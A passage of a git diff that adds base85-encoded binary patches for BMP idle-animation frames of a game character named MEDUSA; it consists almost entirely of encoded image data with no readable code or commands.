zMGt&)goA@C&^>f(kh=YTx$fcX-iD6$@|w9ZW;cGo{VXd>z%|u1vQCmf;c80>-fdcVtf>%&r)EUDkKIgf#!*BF8=@9X359wmVXPF(BGR1Qh6@ z3`<^AY;H0}CxG?Y9s!=lD1B_4K0LI9(zW8giWK5P>RZ_O6}uRvA)UhQ$RtZEGnb&i zh@_;Pg2ETI^}Qf;mzb2p$;oSMmY6=#*f@g; zI?m`H+*(`#q0+kwB2IAu-In@=YGfUw95tIlylb@Gi-I>B!;JUk{U!G+lcLl8{k$m- zHkOv=e7piO((1z3MM+8q#=7Pv+U9ziZ~`9bVCxj&7dzfMv(!tSdB3*Wzp*_`V=OW1 zb8Fr_2lMflvp#wDOwLUfTcCl+QPq8*4v6(0Y02r!K+tl;2qBZZB2vf;3b12%$1@1a zQ#iZR5^Be83+|IwlE9;F5)-plR~ZvPoFh~~$;=aA$A;+_f{SEif*~;9FefRr4AMhE z*H6{0$j&j`Agohzeq^KZb!TyUepYmNvR8Pf`TY_~-5dYbbi)FF zf@i3+N9Ci=zUt+H>bdFGjkUq8$=0Lx+zXeOgkv0{q*-t>F>+@Ca>ih&nJt z?H$)+}h*lKDUFL~DD>zuEr?u%52hRH<1 zo<6}=QLi(~ANxN{AQfhrG^E=NM(GbnU}wUx<4Kl-cL`6k$eEQ99c{%kj|+=(N@My~ zTgDk((~N!^L7Ck!D0X$7(KEmV1(f{*)b8%B=BD|M_LcXYYwzE!_Vmzz(HNVg z)i-wshs68&M;AYRRaM-6AtJa9~P4N z+RZ6qW`W)_xY^sk)zh=p)U^1bbl`2}R7>MxThmH=^GbW`N=N(Z`*)k;6O8RG#_}>_ zXk>kHiP7IrYi(QX8(9y^3_)j!IF*`uMTdB~mxbAlgp!ASjHYe%7Yxy>`nszG#3ly5 zK|pTU;TD7KCPN)t@A*6~uFNl-O2}OcdbyR=O>J7F%>aa-EYmNuvP^M)eu0#!04Y-u zohXY=kpsl2R7FCrs;ZO3P2ul(M31PW*r7yrEgU<{fL%mxFU2|-xG(Q|*4o-vs;j1- zKk2Wjnr^6HXsn%YZCq+=UT$k!?(AIc>))=cn?OKKy_}OBZ6b|~DRuRO@87Lgz3YD3 zQh~PB3kV7hvU=%(?)AgZQOJvi#7!)514G)t5!NyI4HR}=54CQHT5~2(g*XgE26RQZ zXXmyi6l_Q3uSaxjRnZvKj|c28$(3cn=I7?c)dkSe;@CuKOp**XMHZJLk4cm=%vMsd z6gqL?8x1r&l&~LyVS|(R3rVv(TE{fi&cAD4tFN4UQ#w{xH4k#_+u5eN`L^bzj<%If zpvm3qz5UzoyVipPGfc={nTgfzlz8Ah^$%@Sw)MR3Z1Zu5_t3r@is^76Oqdw2;%v4s z6e`+*hIOKYjJBuiT2qmxn<&D%5qUYtV&bmz`$(5sFMHnyQz3bqL9JUaY4m^EjsG%M zu!kccDkO>LFiw)f#!284rI;oIL$D|_Bz$`{4;LPZ^P~S5v09`e&#^lhlE2I@8(xGS->NS*WEpkJ=SAO zPMjDohK~{>CraqL30>hmDxtDZOaCh&(W?nzZ*mfA8>(h%D`wu7Pu5gU)xVu>u3u#dgw6-m^w@r}^%wE;iwoebWOmsDO^he;*LZpiQi4*#i zb(}X9>r2P@&~d&DoDUu4L`9fxVBM+s02;}cL3E+w?AC2;7h~MJK|mwaFZ9tyMBP^L zD7CY18#rAJ6WhIDz4v9TbJKGW6J?yg0H?@FWfKmQL~(qS2tG=b5F;on6x>S6FI=@W1l42cxPkU%U_thw69X9*{tIE0_5|yGORrU25Dn{3#ro5U zo^%s?YE-~dae8B6-2I~5l;Y>vFJBjzH$R(Oo8Ga;U#P?DE9+YN>KI=xlHU!y%Z+2F z_uNrFYZxJ-A0j{u63`FkCkOKx1o9dN^B9Nlaf@DZwuygTG6ZDVP`B`|lL|)a^T+Rr z1S@?5BRx3W)WpJu;_l!PU}S6=8XOHy47~4I13T(Lp>afgqM4DAj1dLy8fj^j6sD4w zNb2@98Zh)&#rRQ8LTPr+Jzh51nehclF2(*X1K2=1CV&B6@oqF5=griZp_h+pI@&8b z2Ftq#+9$^*TAP}SinEqi=f7aQvU&s@j({6zA>FRwJvi~MSGYwF-;q3aNA`?qu!uo0 zuYMq}K@cxFkVij&%OKzu*7fEMUXJ{%hOW+yw{J%>(qAdc!)2wF!QnJK4s%*iIyn?uIaov#7z)*ZGa83crVX^qK2(u<1^A=m9 zMtAZvf4k`P^7uzXDXBTp(KdPh{tG0Z4U*@kgX?Ny;MkM2#>Seu;g0^v@wvJAx#gKv z>I$Q!y1DCJ`-Z#xccx6$i2{`L_t+QHM2-ewMQBmQJckg{%-8jjfKJ$#Tw?&R}iNlbX={ed? zjFkpLYU5M1it-lEAeV%@iLakDl|Sq(%kFs?*cgtD3pVj{Gqwr~b1xc6$XN-`UkiJ^ zl$n|r9p(BsC2T4&d^|65=vhK{X?lBA*2|f}k*=oqQ{y8W^Q-h_#%Sl*JP5@8vK3iQKdEOv+a|lY^ ztf?3*DXF-_BYF7}=hwUUeZ6Pjk;8{}{q^f_ukv$p@j6)9Wuz9qdp|oiNe98Sk#YLi z1bt*?J?&*uUh13ojVl8k+e2-%%Etpyp7uToO2!FNlt=&x zAt5%&LFUiG%*!6e);y0bs7!sev^dvPR$pCG)8F0w?tOD>=iBY=jW1WAL3F=v6mUya3x$xuB0M%SAvrlSBmKUqiG4wSDew*lhqeZXX&}r57VvZPj9%(MdQN89 zgWA@*;r6PTibri8_Ee$j%g^m> zd-W(Gy|blxer{#BYj|mXX?<;dVQFT4dj+%~q+hbbpb9hoM5k9()(9&eLs3rYS)Je! zKd1yhC@9Z%>?9kv@HhPOKbZL6CVE^acybawISK9@B#-Nw#%CZJu%W&Uu&irq8w(Ch zvM}?~$J^u3);KH$k8+L)e$v*sFfu}2TVnuEcz75bL!`I056dXX%OVB+gIrpw`lh<6 z^`*TwmO6&PSCK(yw7tbE*Nb0o7Iae^dgu+k^oGvuie5(J7^7o>G2A*(R$lsKYJO;b zW@)l-@Qe>q2~>JIPgxF@h(?z&X+NiizL_c;%diT z>|@hXicHNdEv;;^I3rO(m1~!IPaHr0%{O3;`^|OEOG+wAre-!p#jn9O=Fli@YL2nG z%{BX^~w;%icO!CjNvKDkj`Gps*e0xX!+Y49O#1s!84G*3=yN_G=0F2D0g4zqg z?N!j)cU$5Z$@L1x{sP9~B8GASWqTe^Ij@TQPF)RI|9X04a{0-#%DeZ{u!3Grw zrh!oR5*VGU3=j{Um}Lwz!-`a}5j!|W{dj9{r%VGU_|{e#J`tWuCi{sYr*VNNBoXI_ z2L2I0+Mxh^|3Cx{W;OdCfFG4U&B_w$<3~@W@Deb49&VY_CgHsN;%q-&{YFyr5YqaH zCgC6uEdN0WY-OiYz=`Kbc_z7#Ggd`ut^O>J`DEL88|#% zMDb6$#Qmy>zbmM7Z>%#{XTLWqxaHQ`CejjvjgdEukRV41Dq_yu;N8zD@Ez9eD#7`@ zusl#^HdWmt2m>}XWx7t_6+~B=x;;zUo*s$gw{a=3I`{3JP;pI`pSHQs|r^V3L^Zy`7~ZNeU2 zsUs?wlSnc;MGLyv}h>?t$XcayY{ zDf;C6&aUkgV|sxBtkv)YePJ0K7N5Ambw*0{D`muYHw91J7W;p$9*&?@tkXxJ@N3hj zS($^JN;7b>Fitd}+`~Ae5RD=g45KA@6@K7T`0}aTB1mdim0f#u*`0R!G0amUIF>z7q9-%*VhO5Scc@+f`a;= zW@Wh$fuX_bcA8#!rgjNft2n61T?qx^`Qzsg8u;*G+%6;S&%>=wX`39;CLK^k?%|a` zuVrvl8@ERb&!&yrr$agbH~C%#`4#8@ZlT==4;|8l8W3W_}x0h-730!xbA!d(L11p+XKOU4V2?Y4mL&Del7gp#oz}5A_AG3_8We@@@cuU zPV}2QTj}{q2&tcwLkinO$;jCl%lag=7z2=G=cv z@+#Ewk~(6S4xUXN^%c?i2Hx(HBJ?j%qf;h+LJ)mXF0n%p6!1g#!3_6kVA(ltv+LmZ zYM^(k>+aDZ?YSd%KumtWHet7#-q%p#ULKJH!U}9Uq`!+IzViuT{s!xhVP)MlAS_rn z0OFFVt7^o_Eqhi*Pe7e`3!#AVrJFhWS1 zA5`FfhUooW1^Qho1aM(JucKXl)V2EoYJME->f97Pf(rR=$UINYOX+7Scfd32Aajo48kpcu)=VH$bL|`wBQD*SQbCNZ)AT_CbK_Nj$(M zbW|C^4raO17iFM5|FH%B0#+vOPNH}?YFQ{zl1Rp}D&$xR{Q!Or?)?&aw@u?kuzuXw zfZJHV8#pfxl-pGUAAX|89UbHEuL~d4az#1iSvn-6?eC!}2?R<4o^lW8kU}yKS5|`m z-8NcT*Ww~jT@B2Bb-ll75`mZUy$s|qoD6I@JB-LK4?lJM${t~<3y&W?`|Y6M4xg1P z`22&~$STU+l;M=e3J7Xk;gUJauW=7hzX0C zL@U@P$*bv~y{*7$5T|OAAYm9Op&u$}7Oh|vqiGqXZW*O%69==4R)Ap7+?G8pZz^w? zVC?k3#3hU9n1XXmBUyzgsG@d5(0_#x_i0+3k%aN`h<}H+JOwrUUWaf9ZuUKo^y%!Z z`>ZzpE}-C6U%<-5-T6h?)Wo#4v$djuB*s(0BwEuZNm+?-@*>|+Q7jM4T@L9bryr(m z91b&&hFioUE#r|EaeB7#x&~g-5*lZI%#Uf255dfj@u{4Nj*kJ)1&5A);}~W27VGuPSedv#pU-ZrZ}#^0AsC}! zL{$xpkQP*0T|@JR#93+V%{!`>c$CibDPFvz_#>b4)jM(*Z%dxKC2^cz=6hb@{Wp33 z#x1t*j@&_h)pH7XNj0(p%t94uEu(996YX$?gSYc@3o}#9csfXaVeU#~4#P-6qey;&&n=Am4PBROdQMj`ARgoT zBgW-N5NsuQUM9L-!Z=^Bjf1#ml3ddXuIWU#43c{$$tja$9FNqnRwh}K+S)q64L|?; zgPmvo>X%=`%DOqgWkrlxZvj86UD>(!Rj}f!me=tif+lyxz@o??QjiqFPYB?}`f%ZW zxqDwr1^CV&s;$A|EcLIo|8p$^#wmMK`17!1}2 zre&!HHHA~WTwcC-xxKl?y7R}X^Wj;)OW`-L{>$?}Xx;V}t+}Z!F*(WJ-410A2jf!F zL{8C67C0mjI~|B6OxF@^>S!Jk8TzWMY;J~me1nz#AaVYD`!BS^AF6-803`h{?FIYU zV4u4CT~AAMTT?@GXM5+^@YpI?j(?PxKYsez@O^ao_b>i_a{ah%J7b#pON5Uveq3ht j3aADOA7B4N%YO{($4v$_faya5Z$bLF!v9)%*RKB$iSw>m literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/MEDUSA/status/IDLE/IDLE29.bmp b/resources/default_config/characters/MEDUSA/status/IDLE/IDLE29.bmp new file mode 100644 index 0000000000000000000000000000000000000000..dfe1ccbfa487e53e86caa9c420d3d357084d1c36 GIT binary patch literal 18462 zcmc&+2UuH2w)VdAy=)wp^v!NIdFdO+jvYHTwz0uBy;mVX^ePa&7)&wE^xly`0!bix z@4fflO|POiQACyQJ3n3$RB?CY(qZ^+9nppjE3cydA*iRe$jdq)wxqGCKE zqTIrx-6Nu0!^5A3gu8@9x`su&MUZ@A6Z}ZzKoTV+o*EiYi=?E+B&EgCa%ee)nML(g z4V~>>!^6*~W@eVxS9cGYte;x}cWwU^^q<2DkL|}0j}g|~%3^y@cXn9v@QTD1<1&5+s>$Wbv@ƅK2DP02@-Gf{DAD14$qBn2Ho#)KtkhbI_C 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 literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/MEDUSA/status/IDLE/IDLE3.bmp b/resources/default_config/characters/MEDUSA/status/IDLE/IDLE3.bmp new file mode 100644 index 0000000000000000000000000000000000000000..0ef47b55762476d9de5e013dbd3d4d6a9109da91 GIT binary patch literal 18462 zcmche2S8NE_V7(t=}iRz1?j!RQWtjVZDC=1?|tdLE4_+<6zK?pBKD5GKaB=k)YvI@ zi5&&@n`IN8F){I<BvPyb;ha2+I2V7Bmw#bnn({^7;XKcAfZO-0a) z&#x;h`Ds?rYf$9Ry9VyclC1FWAO7m~%X8C>k#Uc5LqHun1U z>yLyBy8ra))0;PMo;Y!`uXjUhOFN4#K!g$k;pp&SVpwQ&YHC`0d*{(3$KJeo3%Uck z|Ni}ZnFjolgI_Zjz^xBCWCPRHxt53#q{Y>&NN*yd#f1fBpplP+{V7V>^-r^c`_s}# zPESls0PfqjZv)Uhd-n8n_pGj~&(AN+Ur|_8SX^3CR#sYGQ&U@8Q&(5Jx~sFRf5XOO z$4>OF-xwHx>1;SU(0O6Y+RKI6ofH!1`*YtnHLl6Y&fB?T_n-F*+?|?~&IK?Y;JmH1 zgM^OR*m-Va$54O!`R%>eDVW5DhBe^U=i~k<>z{Y$&6_t5A3PksH~iqi127n}(Vwlt zX2;Z(Z|iG4+g5j^wdU~Fo=ZGN?%^XxK!IC#ZiYvNha$pqbMw>UvojL&a#9Klv&(8K z>bpC;2lo&D_|uOs-@KS@3e-Y|(KfHW*jazPWA(9)`ePk+Ck8ssVWYUCqobhMhe|M8 z>-Q(0%?jF+O-;Zgn?1j843v5I?j0zwbJtF6GzZ9_ef5#9h7(;4$9tO2)Rpca5NT`< z$HfvBYDI z0oD`kb;kzUFL=8kf|s%jVVkOach`p~HiL9t_a<$$%b{+O(T9d*b0+kar;(v#g9D*W~pKsSP;ByhW{Zh+9Wti*Sx*mX72 zxtQ-<7VolpIkdmfXA2;%4?W^%POL2H>uWjNSuY(kZ~*D{wwx_n-kX)&NWzJ4-M$IB z@j1BvDl4!i;ITV)?T!^K=Q4BGtQ?#bEtqHhokIdzF3YyC%x_nr_do%3)5@Shj$6K& zx&z)Wh2oHx?9r4D8z_cvDfHP4juQB`4EGMWGrGI=MAxsNfE6?~&~ZV)ELhvVFHTUf 